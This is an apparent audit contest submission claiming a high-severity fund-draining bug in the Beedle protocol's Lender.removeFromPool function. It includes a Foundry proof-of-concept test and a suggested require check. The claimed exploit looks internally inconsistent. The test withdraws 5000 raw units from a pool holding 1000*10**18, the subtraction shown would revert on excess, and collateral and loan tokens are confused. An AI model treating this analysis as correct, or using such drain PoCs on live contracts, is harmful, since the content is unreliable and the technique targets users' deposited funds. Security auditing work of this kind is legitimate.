Beedle - Oracle free perpetual lending
BeedleFi
DeFiFoundry
20,000 USDC
View results
Previous Next
Submission Details
Severity: high

In `Lender.removeFromPool` a critical check is missing which can allows any pool owner to drain all the collateral tokens from the contract.

SanketKogekar

Summary

The protocol does not check if the who wants to remove collateral amount from his pool has enough balance. Please follow through the following POC where I explain the vulnerability in depth.

Vulnerability Details

  1. Consider Alice puts 10000 WETH as collateral in her pool.

  2. Later, Bob puts 1000 WETH as collateral in his pool.

  3. Bob calls the removeFromPool() function with params as his own poolId and amount = 5000 WETH. This call should revert because the amount to be withdrawn exceeds Bob's balance in the Lender contract.

  4. Since the removeFromPool() misses the following check:

require(pools[poolId].poolBalance >= amount, "Not enough balance");

It proceeds to withdraw the entire 5000 amount, and only deducts 1000 from the user's balance.

Please add the following test case in lender.t.sol file, and go through the comments to understand more.

function test_removeFromPool() public {
// Depositing 10k collateral amount from lender1 address
vm.startPrank(lender1);
Pool memory p = Pool({
lender: lender1,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100 * 10 ** 18,
poolBalance: 10000 * 10 ** 18,
maxLoanRatio: 2 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
lender.setPool(p);
​
// Depositing 1k collateral amount from lender2 address
vm.startPrank(lender2);
Pool memory pp = Pool({
lender: lender2,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100 * 10 ** 18,
poolBalance: 1000 * 10 ** 18,
maxLoanRatio: 2 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
lender.setPool(pp);
bytes32 poolId = keccak256(
abi.encode(
address(lender2),
address(loanToken),
address(collateralToken)
)
);
​
// Noting before and after balance
uint256 loanTokenBalanceBefore = loanToken.balanceOf(address(lender2));
// lender2 tries to withdraw 5k (which is 4k more than his deposit amount)
lender.removeFromPool(poolId, 5000);
uint256 loanTokenBalanceAfter = loanToken.balanceOf(address(lender2));
​
// The lender2 should be able to withdraw only 1k collateral tokens (his deposit amount)
console.log("loanTokenBalanceBefore", loanTokenBalanceBefore);
console.log("loanTokenBalanceAfter", loanTokenBalanceAfter);
​
// Upon checking balance, lender2 has all the asked withdrawn amount
// (which grabs 4k collateral amount from lender1's deposit)
assertEq(loanTokenBalanceBefore + 5000, loanTokenBalanceAfter);
}

Impact

High: User can drain all the collateral tokens from the contract, including the tokens he is not entitled to.

Tools Used

Manual

Recommendations

Add the require check:

function removeFromPool(bytes32 poolId, uint256 amount) external {
if (pools[poolId].lender != msg.sender) revert Unauthorized();
if (amount == 0) revert PoolConfig();
​
// Check if user has enough balance
require(pools[poolId].poolBalance >= amount, "Not enough balance");
​
_updatePoolBalance(poolId, pools[poolId].poolBalance - amount);
// transfer the loan tokens from the contract to the lender
IERC20(pools[poolId].loanToken).transfer(msg.sender, amount);
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.